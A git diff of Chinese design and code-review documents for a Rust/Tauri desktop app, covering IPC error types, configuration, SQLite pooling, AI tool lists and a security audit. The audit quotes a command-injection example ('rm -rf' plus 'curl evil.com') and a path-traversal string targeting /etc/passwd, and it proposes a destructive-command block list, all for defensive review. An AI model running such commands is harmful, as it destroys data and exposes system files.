## 三、#8 — IPC 错误结构化
### 现状
```rust
// src-tauri/src/commands/mod.rs:26
pub fn err_str<E: ToString>(e: E) -> String { e.to_string() }
// 所有 IPC 命令
async fn xxx() -> Result<T, String> { ... .map_err(err_str) }
```
df-types/error.rs 的 11 个变体(`NotFound`/`Validation`/`InvalidState { current, expected }`)在 IPC 边界全部 `.to_string()` 拍平。前端只能拿到字符串,无法分辨错误类型。
### 目标架构
```rust
// df-types/src/error.rs 新增 Serialize
#[derive(Debug, Serialize, Deserialize)]
#[serde(tag = "kind", content = "data")]
pub enum IpcError {
NotFound { entity: String, id: String },
Validation { field: String, reason: String },
InvalidState { entity: String, current: String, expected: Vec<String> },
Unauthorized { reason: String },
Internal { message: String },
}
// IPC 命令改为
async fn xxx() -> Result<T, IpcError> { ... }
```
Tauri invoke 自动 serialize 为 JSON
```json
{ "kind": "invalid_state", "data": { "entity": "task", "current": "todo", "expected": ["in_progress"] } }
```
### 前端消费
```ts
// src/api/types.ts
type IpcError =
| { kind: 'not_found'; data: { entity: string; id: string } }
| { kind: 'validation'; data: { field: string; reason: string } }
| { kind: 'invalid_state'; data: { entity: string; current: string; expected: string[] } }
| { kind: 'unauthorized'; data: { reason: string } }
| { kind: 'internal'; data: { message: string } }
// 使用
try { await invoke(...) }
catch (e: unknown) {
const err = e as IpcError
if (err.kind === 'not_found') router.push('/projects')
else if (err.kind === 'invalid_state') toast.warning(`当前 ${err.data.current},期望 ${err.data.expected.join(',')}`)
}
```
### 迁移路径
**阶段 1**df-types 新增 `IpcError` enum + `From<df_types::error::Error> for IpcError`
**阶段 2**src-tauri IPC 命令逐个从 `Result<T, String>` 改为 `Result<T, IpcError>`。**保持向后兼容**:旧前端读 `err.message` 时降级为字符串IpcError 实现 `Display` 输出 message
**阶段 3**:前端 api 层加 `IpcError` 类型 + 在关键 viewProjects/Tasks/Ideas按 kind 分支处理。
**阶段 4**:删除 `err_str` 辅助函数。
### 风险
- **Tauri invoke 错误序列化**Tauri 默认把 `Result::Err` 经 JSON 传前端,但前端 `invoke().catch()` 拿到的是 `string``object`**需验证**Tauri v2 对自定义 error 类型的序列化行为。
- **向后兼容**:旧前端代码 `e?.toString()` 需仍工作。IpcError 的 Display 实现保证字符串友好。
---
## 四、#18 — 配置四源统一
### 现状(散落 env::var 读取)
| 读取点 | 用途 | 性质 |
|--------|------|------|
| `df-relay/src/main.rs:17` `DF_RELAY_ADDR` | relay 监听地址 | 启动配置 |
| `df-relay/src/relay.rs:38` `DF_RELAY_TOKEN` | relay 鉴权 | 启动配置panic 兜底) |
| `df-nodes/src/script_node.rs:141,155` `DF_SCRIPT_BLACKLIST`/`WHITELIST` | 脚本策略 | 运行时读取 |
| `df-nodes/src/ai_node.rs:389-398` `GLM_BASE_URL`/`GLM_API_KEY`/`GLM_MODEL` | AINode 兜底 provider | 运行时读取 |
| `src-tauri/src/commands/ai/tool_registry.rs:2780` `DEVFLOW_ENV_PROBE_ENABLED` | 环境探测开关 | 运行时读取 |
| `src-tauri/src/main.rs:116-121` `APPDATA`/`HOME` | OS 路径 | 系统变量 |
| `df-execute/src/env_snapshot.rs:216,253` `SHELL`/`LANG` | Shell 探测 | 系统变量 |
### 目标架构
**不强行统一所有读取**OS 路径 / Shell 探测等系统变量性质不同),而是:
1. **df-types 新增 `AppConfig` struct**(集中定义项目级配置项)
2. **启动时一次性读取 env + DB KV**,构造 `AppConfig` 实例
3. **AppState 持有 `Arc<AppConfig>`**,各模块经 state 读取
4. **文档化配置矩阵**env / DB KV / 默认值 / panic 的关系
```rust
// df-types/src/config.rs
pub struct AppConfig {
pub relay: RelayConfig,
pub script_policy: ScriptPolicyConfig,
pub ai_node: AiNodeConfig,
pub env_probe: bool,
}
pub struct RelayConfig {
pub addr: String, // 默认 "127.0.0.1:8080"
pub token: String, // 缺失 panic
}
pub struct ScriptPolicyConfig {
pub blacklist: Vec<String>, // 默认 ["rm","del","format","shutdown","mkfs","dd"]
pub whitelist: Vec<String>, // 默认 []
}
// src-tauri/src/state.rs
pub struct AppState {
pub config: Arc<AppConfig>,
// ...
}
```
### 迁移路径
**阶段 1**df-types 定义 `AppConfig`,在 src-tauri 启动时构造。
**阶段 2**:逐个替换散落的 `std::env::var``state.config.xxx`。**保持 env var 作为 override**(向后兼容)。
**阶段 3**:前端 Settings 增加「环境变量覆盖」可视化。
### 风险
- **df-relay 独立 binary**relay 是独立进程,不经 src-tauri AppState。**解决**df-relay 自己构造 `RelayConfig`(共享 df-types::config 类型)。
---
## 五、#19 — SQLite 连接池
### 现状
```rust
// crates/df-storage/src/db.rs:13-16
pub struct Database {
conn: Arc<Mutex<Connection>>, // 单连接,所有读写串行
}
```
注释自承 `TODO: 考虑使用 r2d2 连接池替代单连接 Mutex`。AI 对话高峰(多 tool_calls 并发 + SSE 落库)下排队。
### 目标架构
```rust
pub struct Database {
pool: r2d2::Pool<SqliteConnectionManager>,
}
impl Database {
pub fn conn(&self) -> Result<r2d2::PooledConnection<SqliteConnectionManager>> {
self.pool.get().map_err(...)
}
}
```
### 迁移路径
**阶段 1**df-storage 加 `r2d2` + `r2d2_sqlite` 依赖,改 `Database` 内部为 pool。
**阶段 2**:所有 Repo 的 `conn.blocking_lock()` 改为 `pool.get()?`spawn_blocking 内获取连接)。
**阶段 3**WAL 模式 + 合理 pool_size桌面应用 4-8 即可)。
### 风险
- **WAL 已开**`db.rs:22 PRAGMA journal_mode=WAL`读写不互斥pool 能真正并行。
- **事务原子性**:现有批量插入用 `unchecked_transaction()`pool 模式下需确认 `PooledConnection` 的 transaction 行为一致。
- **测试改造**:所有 Repo 测试的 `Database::open_in_memory()` 需改为 pool 模式。
---
## 六、本批次已落地(参考)
| 编号 | 改动 | 文件 |
|------|------|------|
| #17 | TaskStatus 字符串常量从 enum 派生(`as_str` 改 const fn | `crates/df-types/src/types.rs` + `crates/df-nodes/src/task_state_machine.rs` |
| #16 | df-project 真分层(加状态机 + 业务约束 + 测试) | `crates/df-project/src/manager.rs` + `src-tauri/src/commands/idea.rs` |
| #18 部分 | 文档化配置矩阵(本设计文档) | 本文件 |
## 七、推进顺序建议
1. **#8 IPC 错误结构化** — 风险中等,收益直接(前端可差异化处理)
2. **#15 AI 状态机抽离** — 风险高但收益最大(解锁 CLI/独立测试),建议在 Phase 4 之前
3. **#18 配置统一** — 与 #15 协同(新 crate 也需要读配置)
4. **#19 连接池** — 性能瓶颈出现时再改(当前单用户桌面应用未必触发)

View File

@@ -1,6 +1,6 @@
# F-260621-02 查询能力维度补全方案(任务/项目/灵感) # F-260621-02 查询能力维度补全方案(任务/项目/灵感)
> **状态**:方案设计(待办登记),待排期实施 > **状态**:✅ **已落地**(2026-06-28 核验:task/project/idea 均 keyword/order_by/limit/offset 多维动态 WHERE)
> **日期**:2026-06-21 > **日期**:2026-06-21
> **范围**:DevFlow 任务/项目/灵感三实体**列表查询维度**补全 > **范围**:DevFlow 任务/项目/灵感三实体**列表查询维度**补全
> **关联**:[PERF-260619-01 查询效率优化方案](./查询效率优化方案-2026-06-19.md)(查询**性能**,与本方案正交) / todo.md F-15-03 分页(本方案细化) > **关联**:[PERF-260619-01 查询效率优化方案](./查询效率优化方案-2026-06-19.md)(查询**性能**,与本方案正交) / todo.md F-15-03 分页(本方案细化)

View File

@@ -1,6 +1,6 @@
# 消息拆分存储设计 # 消息拆分存储设计
> 创建:2026-06-19 | 编号:F-260619-03(消息拆分) | 状态:📐 设计待实施 > 创建:2026-06-19 | 编号:F-260619-03(消息拆分) | 状态:✅ **已落地**(2026-06-28 核验:ai_messages 表 + V21 全量迁移 + 读写全部切到消息表,旧 JSON 列仅作老库兼容回退)
> 关联任务:`消息拆分存储:ai_messages 表 + 全量迁移 + 三阶段渐进切换`(DevFlow 项目) > 关联任务:`消息拆分存储:ai_messages 表 + 全量迁移 + 三阶段渐进切换`(DevFlow 项目)
> 关联灵感:b2e61a21 消息拆分存储 + 消息级溯源 + 知识脉络网络 > 关联灵感:b2e61a21 消息拆分存储 + 消息级溯源 + 知识脉络网络
> 关联设计:[消息级溯源设计-2026-06-19.md](./消息级溯源设计-2026-06-19.md)(本设计的前置依赖 + 消费方) > 关联设计:[消息级溯源设计-2026-06-19.md](./消息级溯源设计-2026-06-19.md)(本设计的前置依赖 + 消费方)

View File

@@ -1,6 +1,6 @@
# 消息级溯源设计 # 消息级溯源设计
> 创建:2026-06-19 | 编号:F-260619-04(消息级溯源) | 状态:📐 设计待实施 > 创建:2026-06-19 | 编号:F-260619-04(消息级溯源) | 状态:✅ **已落地**(2026-06-28 核验:ChatMessage.id + source_ref/audit/idea 四场景全部完成 + P2 切读全部完成)
> 关联任务:`消息级溯源:知识库/审计/灵感全链路从对话级升级到消息级`(DevFlow 项目) > 关联任务:`消息级溯源:知识库/审计/灵感全链路从对话级升级到消息级`(DevFlow 项目)
> 关联灵感:b2e61a21 消息拆分存储 + 消息级溯源 + 知识脉络网络 > 关联灵感:b2e61a21 消息拆分存储 + 消息级溯源 + 知识脉络网络
> 关联设计:[消息拆分存储设计-2026-06-19.md](./消息拆分存储设计-2026-06-19.md)(本设计的持久化基础) > 关联设计:[消息拆分存储设计-2026-06-19.md](./消息拆分存储设计-2026-06-19.md)(本设计的持久化基础)

View File

@@ -1,6 +1,6 @@
# 规格契约自检机制 # 规格契约自检机制
> 创建2026-06-13 | 阶段:设计定稿,待落地 > 创建2026-06-13 | 阶段:🗄️ 归档不实施(2026-06-28 核验:0 行代码。其核心价值「规格与实现一致性检查」已被 L1 求助协议 + ai_self_review gate 覆盖,过度设计)
> 性质:设计说明 + 可执行规格基准。后续 `spec-verifier` agent、`/spec-check` skill、自检 hook 均从本文档推导。 > 性质:设计说明 + 可执行规格基准。后续 `spec-verifier` agent、`/spec-check` skill、自检 hook 均从本文档推导。
--- ---

View File

@@ -0,0 +1,19 @@
# 消息级溯源 P2 切读方案
> 决策2026-06-28 — 一次性切读 + 脚本迁移历史数据
## 现状2026-06-28 代码核查)
**P2 切读已完成**。上一阶段「批次 B」已经实现了读写路径切换
### ✅ 读路径
`ai_conversation_switch` 已优先从 `ai_messages` 表加载(`list_by_conversation`
空时 fallback 旧 `messages` JSON 列。见 `conversation.rs:257-282`
### ✅ 写路径
`save_conversation` 已走 `AiMessageRepo.replace_conversation``DELETE + INSERT` 事务原子),
旧 messages JSON 列保留不写作备份。见 `conversation.rs``save_conversation` 实现。
### 剩余工作
- `ai_conversations.messages` 列标记废弃(暂不删列)
- 后续 V22 可选删除该列

View File

@@ -108,27 +108,19 @@ commands/ai/
--- ---
## 四、12 个 AI 工具 ## 四、AI 工具清单
### 工具清单 ### 工具注册
工具定义在 `tool_registry.rs::build_ai_tool_registry`,编译期硬编码(无运行时动态注册)。 工具定义在 `tool_registry.rs::build_ai_tool_registry`**编译期硬编码**(无运行时动态注册)。工具统计截至 2026-06-29后续增删见该函数 `registry.register` 调用点)。
| 风险 | 工具 | 说明 | ### 按风险等级分组
|------|------|------|
| **Low**(自动执行) | `list_projects` | 列出项目(排软删,截断 50 条) | **Low自动执行** — 只读查询类,不触发审批。包含:`list_projects`/`get_project_count``list_tasks`/`get_task_count``list_task_links`/`get_task_tree``list_ideas``list_trash``read_file``read_symbol`(AST符号解析)、`list_directory``file_info``grep`(跨文件内容搜索)、`search_files``list_project_services``list_project_modules``get_project_timeline``git_status`/`git_diff`/`git_log`(只读)。
| **Low** | `list_tasks` | 列出任务(可按 project_id 筛选) |
| **Low** | `list_ideas` | 列出灵感 | **Medium需审批** — 写入类,需人工批准。包含:`create_project`/`update_project`/`bind_directory``create_task`/`update_task`/`delete_task``advance_task`/`move_task_queue`/`update_content``create_task_link`/`remove_task_link``create_idea``add_project_service``write_file`/`patch_file`/`append_file``git_commit`/`git_branch``http_request`(SSRF防护含DNS rebinding检查)。
| **Low** | `read_file` | 读文件offset/limit 分页1MB 上限) |
| **Low** | `list_directory` | 列目录(噪音剪枝 + 1000 条上限) | **High需审批 + 默认谨慎)** — 高风险,默认自动执行模式会全部拒绝。包含:`delete_project`/`restore_project`/`purge_project``delete_file`/`rename_file``run_command`(默认超时 60s)、`run_workflow`(联动任务推进)、`git_merge`(冲突返回冲突文件列表)。
| **Medium**(需审批) | `create_project` | 创建项目(可选 path/stack 一步绑定) |
| **Medium** | `update_project` | 改字段(复用 CRUD 白名单校验) |
| **Medium** | `create_task` | 创建任务 |
| **Medium** | `create_idea` | 创建灵感 |
| **Medium** | `write_file` | 写文件自动建父目录1MB 上限) |
| **Medium** | `bind_directory` | 项目绑定代码目录 + 探测技术栈 |
| **High**(需审批) | `delete_project` | 删项目(软删进回收站) |
| **High** | `run_workflow` | 运行工作流(当前返回提示,未实装) |
### 工具三要素同源 ### 工具三要素同源
@@ -145,9 +137,9 @@ commands/ai/
### 已知限制 ### 已知限制
- **截断 50 条无翻页**:三个 list 工具 `truncate(50)` 硬截断,无 offset/limitAI 不知道有数据被漏掉(待改进)
- **"能写不能跑"**AI 有 `write_file` 但无 `run_command`,无法形成"写→跑→改"闭环(待改进)
- **工具集封闭**:编译期硬编码,无 MCP 客户端AI 运行时不能新增/修改工具 - **工具集封闭**:编译期硬编码,无 MCP 客户端AI 运行时不能新增/修改工具
- **AI 不能造工具**AI 能 `write_file` 写脚本但不会变成可调用工具(要重编译)
- **agent ↔ workflow 仍未完全打通**`run_workflow` 现已能联动任务推进,但 ScriptNode 能力未暴露给 agent loop
--- ---

View File

@@ -0,0 +1,333 @@
# 全量走查报告2026-06-28
> 范围:全栈 Rust 12 crate + Tauri 命令层 + Vue 3 前端 + 文档体系
> 方法4 角度并行(安全/并发可靠性/架构设计/代码质量),每条结论基于实际代码核实
> 原则dry — 仅审查 + 文档,不改代码。误判项明确标注证据
---
## 🔴 安全
### ① ScriptNode — 白名单仅校验首词shell 元字符可绕过
**文件**: `crates/df-nodes/src/script_node.rs:46-54`
```rust
let cmd_name = command.split_whitespace().next().unwrap_or("").to_lowercase();
```
`check_command_policy` 只比对首词,剩余参数原样传入 `sh -c` / `powershell -Command`。攻击场景:工作流 JSON 写 `"command": "git log; rm -rf /tmp/x; curl evil.com"`,首词 `git` 命中白名单即放行,`;` `&&` `$()` 全部被 shell 解释执行。默认 `DF_SCRIPT_WHITELIST` 未设置时完全无防护,仅靠 `dangerous_keywords` 告警(不阻止)。
**建议**:① 默认启用黑名单(至少挡 `rm`/`del`/`format`/`shutdown`);② 对工作流 JSON 来源做信任链校验。
### ② MCP server 完全无鉴权
**文件**: `crates/df-mcp/src/server.rs:37-44` + `crates/df-mcp/src/lib.rs:11`
注释明示「无认证(依赖本地隔离)」,但 Windows 上同用户权限的进程Office 宏、浏览器 RCE 沙箱逃逸后)均可向 stdin 发 `tools/call create_project` / `bind_directory` 等工具调用。`bind_directory`(Medium) 可绑定任意路径让后续工具误以为已授权。
**建议**:启动生成 ephemeral token 写入应用 KVTauri CLI 子命令传 token每条 `tools/call` 校验。
### ③ `bind_directory` 路径检测不一致
**文件**: `crates/df-mcp/src/tools.rs:328`
MCP 端 `bind_directory` 仅做 `path.contains("..")` 子串检测,会误伤 `my..file`,且对 `/etc/.ssh/../../etc/passwd` 这类绕过场景不可靠。而 `src-tauri/.../tool_registry.rs:114-145``validate_path` 已实现分段 `..` 检测——两端不一致。
**建议**MCP 端复用 `validate_path` 的分段检测逻辑。
---
## 🔴 架构
### ④ AI 核心状态机焊死在 src-tauridf-ai 名不副实
**证据**
- `src-tauri/src/commands/ai/mod.rs` 定义 `AiSession``PerConvState``AiChatEvent``SessionState`
- `src-tauri/src/commands/ai/agentic/mod.rs` 实现 `run_agentic_loop`
- `df-ai` crate 仅保留 Provider HTTP 实现 + `coordinator.rs`(空壳) + `intent/planner`(未接入)
ARCHITECTURE.md §5.4 把 AgentCoordinator/ContextManager 描述为 df-ai 职责,实际 agentic loop 跑在 Tauri binary。df-ai 无法被复用(做 CLI/测试AI 状态机没有独立 crate 级单测。
**建议**:把 AiSession/agentic loop 抽到 df-ai 或新建 df-ai-session crate。
### ⑤ df-project / df-ideas 伪分层
**文件**: `crates/df-project/src/manager.rs`(全文 ~80 行,仅 2 个工厂函数)
`ProjectManager::create` / `create_from_idea` 只构造实体不落库。实际项目 CRUD/状态推进/软删全在 `df-storage/src/crud/project_repo.rs``commands/project.rs` 直接调 `ProjectRepo` 完全绕过 `ProjectManager`。领域层"不依赖 storage 保持分层"形同虚设。
**建议**:要么删除 df-project要么真正把领域规则下沉进去。
### ⑥ TaskStatus 两套并存
**证据**
- `crates/df-types/src/types.rs:170` 定义 `enum TaskStatus``as_str`/`from_db_str`/`is_valid`
- `crates/df-nodes/src/task_state_machine.rs:33-56` 又定义 7 个字符串常量 + `is_valid_state`
注释自称"严格对齐"但靠人工维护任何一方改字符串编译器不报错。df-types 的 enum 形同摆设。
**建议**:让 task_state_machine 基于 TaskStatus enum 实现,字符串边界只留 IPC/DB 序列化层。
### ⑦ IPC 错误拍平为 String结构化信息全失
**文件**: `src-tauri/src/commands/mod.rs:26` `pub fn err_str<E: ToString>(e: E) -> String`
df-types/error.rs 精心设计了 11 个变体(`NotFound`/`Validation`/`InvalidState { current, expected }` 等带结构化字段),但跨 IPC 边界时 `.to_string()` 一律拍平。前端只能拿到字符串,无法分辨 NotFound vs Validation vs InvalidState无法做差异化处理如 NotFound→跳转列表 vs InvalidState→提示冲突
**建议**IPC 错误用 serde 序列化的 enum`{ kind, message, ...fields }`),前端按 kind 分支。
### ⑧ 配置四源并存relay token 两端契约不一致
**证据**
- 环境变量:`DF_RELAY_TOKEN`relay 端缺失 panic/`DF_SCRIPT_BLACKLIST`/`DF_SCRIPT_WHITELIST`
- DB KV`app_settings`
- AppState 内存AtomicU64/Usize
- 硬编码常量:`src-tauri/lib.rs:186` `token = "devflow-relay-default-token"`(与 relay 端强制 env 不一致)
桌面端硬编码默认 tokenrelay 端 panic 强制 env——忘设 env 时桌面端用默认 token 连不上。
**建议**:建立分层 Config 单例env > app_settings > 默认常量),跨 crate 共享。
### ⑨ 文档与代码严重失步
**证据**
- ARCHITECTURE.md §4 写 `df-core/` —— 实际是 `df-types`
- PROGRESS.md §二/§三 同样写 df-core
- docs/01-技术文档/SQLite-CRUD模式.md:79 引用 `crates/df-core/src/error.rs`
- PROGRESS.md Sprint 15/17 把 knowledge 模块归属 `df-evolve`(已移除)
- ARCHITECTURE.md §4 crate 树漏列 `df-types`/`df-mcp`/`df-ai-core`/`df-relay`/`df-tunnel`crate 数量描述"9 crate"vs 实际 12
**建议**:批量替换 df-core → df-types更新 crate 树与规模表。
---
## 🔴 代码质量
### ⑩ useAiEvents — 终止收尾逻辑三处复制粘贴
**文件**: `src/composables/ai/useAiEvents.ts:569-737`
`AiCompleted` / `AiError` / `AiHelpRequired` 三个 case 重复执行同一套「会话终止收尾」逻辑clearStreamWatchdog / clearAllToolSlowTimers / flushCurrentText / setStreaming(false) / state.currentText='' / state.agentRound=0 / 清 pendingMaxRounds / 清 pendingDirAuths / 4×localStorage.removeItem共 ~10 步骤在三个分支逐行复制。
**建议**:抽 `cleanupTerminatedConversation(convId, reason)` 公共函数。
### ⑪ Store 错误处理样板重复 38 处
**证据**`src/stores/knowledge.ts` 单文件 10 次,加上 ideas.ts/projects.ts/tasks.ts 各 4-7 次:
```ts
try { state.xxx = await api.xxx(...) }
catch (e: any) { state.error = e?.toString() ?? t('xxx.err.xxxFailed') }
```
**建议**:抽 `runWithCatch(state, i18nKey, fn)` 工具。
### ⑫ idea_repo.rs — 注释承诺的测试不存在
**文件**: `crates/df-storage/src/crud/idea_repo.rs:24-25, 43-44`
注释明示「任一处加列漏改会被测试 `test_knowledge_cols_matches_record` 立即捕获」,但全 workspace grep 零匹配。`KNOWLEDGE_COL_COUNT``#[cfg_attr(not(test), allow(dead_code))]` 说明设计意图是给测试用,但测试从未写。属真实「文档撒谎」。
**建议**:补 `#[test] fn test_idea_cols_matches_record()` 或改注释。
### ⑬ df-relay 完全无测试
`df-ai` 332 测试、`df-storage` 133 测试、`df-nodes` 86 测试,但 `df-relay` 0 测试(无 tests/ 也无 #[cfg(test)]。relay.rs 442 行连接生命周期 + token 配对 + 广播分发逻辑零回归保护。
**建议**:至少补 ConnRegistry / token 配对 / ControlMessage 路由的单测。
---
## 🟡 并发与可靠性
### ⑭ SQLite 单连接 Mutex 串行化
**文件**: `crates/df-storage/src/db.rs:13-16`
```rust
pub struct Database { conn: Arc<Mutex<Connection>>, }
```
所有 Repo 共享同一连接。注释自承 `TODO: 考虑使用 r2d2 连接池`。功能性正确,但 AI 对话高峰(多 tool_calls 并发 + SSE 落库)下 DB 操作排队,体验性下降。
### ⑮ EventBus broadcast 容量与 Lagged 处理
**文件**: `crates/df-workflow/src/eventbus.rs:16` + `crates/df-nodes/src/human_node.rs:134-141`
容量 256 + `WorkflowEvent` 混入 AI 流式增量 → 高频场景订阅者 Lagged → `human_node.rs:134``continue` 策略可能漏自身 Response → HumanNode 等到超时。
**建议**:流式增量与审批响应分总线,或 Lagged 显式重发。
### ⑯ run_migrations 持有 tokio Mutex 守卫
**文件**: `crates/df-storage/src/db.rs:48-53`
V21 大表迁移期间所有其他 DB 操作 await 在锁上。一次性启动开销,但属不必要串行点。
### ⑰ task_link_repo.rs 注释误导
**文件**: `crates/df-storage/src/crud/task_link_repo.rs:116-138`
注释「检测与插入非原子」不准确——实际 BFS 与 INSERT 在同一 `blocking_lock` 守卫内,锁串行化了 TOCTOU 窗口,已闭合。注释应更新。
### ⑱ relay 默认监听 0.0.0.0
**文件**: `crates/df-relay/src/main.rs:17`
token 鉴权在,但默认监听所有网卡,云服务器部署若防火墙未配公网可访问 WS 端点暴力猜 token。
**建议**:默认改 127.0.0.1,外部访问显式 `DF_RELAY_ADDR=0.0.0.0`
---
## 🟡 代码简洁性
### ⑲ 大文件未拆分
- `src/components/ai/MessageList.vue` 1552 行style 441 + script ~1100
- `src/views/IdeaDetail.vue` 926 行style 481 + script ~300四域逻辑
- `crates/df-storage/src/crud/idea_repo.rs` 1500 行IdeaRepo + KnowledgeRepo + KnowledgeEventsRepo + 向量工具)
- `crates/df-nodes/src/human_node.rs` 831 行
**建议**MessageList 抽 MessageBubble.vueIdeaDetail 拆 IdeaScorePanel/IdeaAdversarialPanelidea_repo.rs 拆三文件。
### ⑰ 组件内 toast 状态重复
**文件**: `src/views/Settings.vue:103-112` + `src/components/AiChat.vue:183-191`
两个根组件各自维护 toast reactive + showToast逻辑完全一致。
**建议**:抽 `composables/useToast.ts`
### ㉑ TS any 滥用集中在 catch 和跨层透传
48 处 `: any`/`as any`
- **类型 A**38/48`catch (e: any)` → 改 `unknown` + 类型守卫
- **类型 B**:跨层 `as any` 透传未声明字段useAiEvents.ts:687、useAiConversations.ts 多处、MessageList.vue:498
**建议**:补完 api/types.ts 真实字段AiMessage.errorType、Message.statusdefineExpose 建 interface。
### ㉒ AgentCoordinator deprecated 空壳
**文件**: `crates/df-ai/src/coordinator.rs`
已标 `#[deprecated]`,全 workspace 零调用,但仍 `pub mod coordinator` 暴露导出。
**建议**`#[cfg(feature = "multi-agent")]` 隔离或删除git 历史可找回)。
### ㉓ planner.rs 11 处 #[allow(dead_code)]
builder APISubTask::new/with_tools/with_deps/with_group 等)当前零调用,全是预留。建议加 reason 集中说明或 feature flag 隔离。
### ㉔ app_settings KV 无 schema
`SettingsRepo::set(key, value)` 无 key 白名单(除 allowed_dirs新增配置需前端+IPC+KV 三处硬编码对齐。建议加 SettingKey enum 集中定义。
### ㉕ 视图 CSS 重复 + tags 解析重复
- Dashboard/Projects/Ideas/Knowledge 四视图各自定义 `.btn`/`.btn-primary` scoped 样式(项目已有全局 `styles/components.css`
- Ideas.vue:302 + Knowledge.vue:321 相同 tags 拆分逻辑
**建议**CSS 收敛到全局tags 解析抽 `parseTagsInput`
---
## 🟡 文档
### ㉖ AI对话引擎文档工具清单过时
**文件**: `docs/03-模块文档/AI对话引擎-2026-06-14.md §四`
标题自称 12 个,表格 13 行,与 `df-ai-AI集成模块.md` 的 22 个严重对不齐。缺失 `run_command`/`patch_file`/`list_trash`/`file_info`/`search_files`/`delete_task`/`restore_project`/`purge_project`
### ㉗ INDEX.md 漏索引 9 个文档
| 子目录 | 漏列数 | 典型遗漏 |
|-------|-------|---------|
| 专项设计 | 7 | AI原生上下文地图、AST符号解析、插件机制、查询能力补全方案、项目知识图谱 |
| 已编号方案 | 2 | F-260622-01-跨端AIChat-Phase3联调、消息级溯源P2-切读方案 |
| 构想审查 | 1 | 跑题改进试验记录 |
| 根目录 | 2 | 单对话并行多轮-Phase0落地路线图、单对话并行多轮-设计 |
### ㉘ 死链
**文件**: `docs/02-架构设计/专项设计/Agent架构说明-2026-06-14.md:4`
`[任务推进设计](任务推进构想-2026-06-14.md)` 解析到专项设计目录下不存在,应改为 `../构想审查/`
### ㉙ ARCHITECTURE.md §七 + 新设计文档 SSOT 违反
YAML 模板52行、AgentPersona struct11行、三层定义表、实例化流程大段逐字重复。建议 ARCH 仅保留概要 + 引用链接。
### ㉚ ARCHITECTURE.md ~100 行已移除模块残留
§5.4 保留 df-task/df-traceability 的 Task 生命周期图、分支策略、标注系统、Decision struct 详细设计。建议移至归档。
### ㉛ ARCHITECTURE.md 状态过时
L3 `状态: 设计阶段` 与实际 Phase 2 验证阶段不符,应与 `docs/INDEX.md` 一致改为 `Phase 2 本地优先开发流程验证`
---
## ✅ 亮点
### ① df-ai/df-ai-core trait 下沉F-01
df-ai-core 零 HTTP 依赖(仅 5 个依赖df-ai 保留 reqwest/eventsource-stream。df-ideas 等轻消费方只引 df-ai-core。**真实落地的解耦**。
### ② df-mcp advance_task 复用 df-nodes 状态机
MCP 与 IPC 都走 `df_nodes::task_advance_node::advance_task_atomic`推进链三层校验is_valid_state/can_transition/CAS/regression bump唯一实现。Cargo.toml 注释明确「避免 MCP 直调底层绕过状态机」。
### ③ keyring 密钥下沉 + 迁移补偿
secret.rs 三阶段回落DB明文→OS keyring→空`migrate_secrets_to_keyring` 启动一次性迁移,失败计数达阈值升级 warn。`AiProviderRecord` 自定义 Debug 把 api_key 脱敏为 `"sk-****"`
### ④ SanitizedPath newtype 强类型
`df-types/src/augmentation.rs:29` `pub struct SanitizedPath(String)` 强制所有注入 LLM 的路径经 sanitize 入口,防裸 String 误用。
### ⑤ 取消路径 TOCTOU 三层防护
state.rs:106 set_cancelled 作为唯一受控旁路 + executor.rs:180-226 双重检查 + HumanNode select! 轮询。注释详细记录时序窗口。
### ⑥ SQLite WAL + spawn_blocking 正确
所有 DB 操作在 spawn_blocking + blocking_lock 中,无 sync rusqlite 在 async 裸调用批量用事务原子提交WAL 模式读写不互斥。
### ⑦ 重试机制工业级
retry.rs ±50% jitterrand::thread_rng+ 错误分类Ok/Retryable/Fatal+ 总预算止损 30s + 流式不重试。complete() 两处接入,单测齐全。
### ⑧ kill_on_drop + Windows CREATE_NO_WINDOW
shell.rs:147,154 — 超时 future drop → Command 析构 → kill 子进程Windows 黑窗抑制。
### ⑨ TaskStatus is_valid 单测覆盖
df-types/types.rs:437-477 测试了拼写错误/大小写/空白/SQL 注入/中文近义等边界valid_values_all_pass_is_valid 锁定清单一致性。
### ⑩ SSRF 防护完整
http.rs:50-208 私网 IP 黑名单 + DNS rebinding 防护(多 A 记录全检)+ 重定向 ≤3 跳每跳重新校验 + body 截断 50KB。
### ⑪ V21 大版本迁移谨慎
BATCH_SIZE=50 分页 + 空库跳过 + 坏数据 skip 不崩溃 + column_exists 守卫 ALTER TABLE。
### ⑫ 前端 composable 已大范围抽离
src/composables/ai/ 已拆 14 文件AiChat.vue 从巨型组件瘦身到 767 行聚合容器。Settings.vue 已 master-detail 重构8 个子 Section/Panel309 行壳)。
---
## 📊 汇总
| 分类 | 🔴 | 🟡 | ✅ |
|------|----|----|----|
| 安全 | 3 | — | — |
| 架构 | 6 | — | — |
| 代码质量 | 4 | — | — |
| 并发可靠性 | — | 5 | — |
| 代码简洁性 | — | 7 | — |
| 文档 | — | 6 | — |
| 亮点 | — | — | 12 |
| **合计** | **13** | **18** | **12** |
**总体评价**核心安全架构扎实SQL 注入防护、keyring 密钥、SSRF 防护、取消 TOCTOU、重试工业级前端架构演进健康composable 大范围抽离、Settings 已 master-detail 重构)。
主要问题集中在:
- **架构债**AI 核心状态机焊死 src-tauri#4、df-project 伪分层(#5)、文档严重失步(#9
- **代码质量**useAiEvents 三处复制粘贴(#10、Store 错误处理 38 处重复(#11
- **安全细节**ScriptNode 元字符绕过(#1、MCP 无鉴权(#2
优先修复建议:① 修文档(#9 成本极低);② 补 df-relay 测试(#13);③ ScriptNode 默认黑名单(#1);④ 抽 useAiEvents 公共函数(#10)。

View File

@@ -0,0 +1,368 @@
# Todo 归档 2026-06-27
> 从 todo.md / docs/todo.md 迁移的已完成项
> 归档日期: 2026-06-27
---
## 灵感模块功能完善 — P0 数据安全/正确性
- [x] **#1 软删除机制**ideas 表加 `deleted_at` 列 + 软删除(对标 tasks/projects 的 `delete` + `restore` 全套模板)。当前 `delete_idea` 是硬删除,误删不可恢复。
- [x] **#2 白名单收紧**`settings.rs` ideas 白名单移除 `id` / `created_at`,防止主键和创建时间被篡改。(对标 B-260616-16 tasks 白名单修复)
- [x] **#4 priority 值域校验**`create_idea` / `update_idea` 加 priority 校验(`parse::<i32>() ∈ 0..=3`,非法返 Err对标 B-260615-15 tasks priority 修复)
## 灵感模块功能完善 — P1 架构/一致性
- [x] **#5 有损转换修复**`record_to_idea()` 不再硬编码 `status=Draft` / `related_ids=空`,从 IdeaRecord 读取真实值,评估时不丢失上下文。
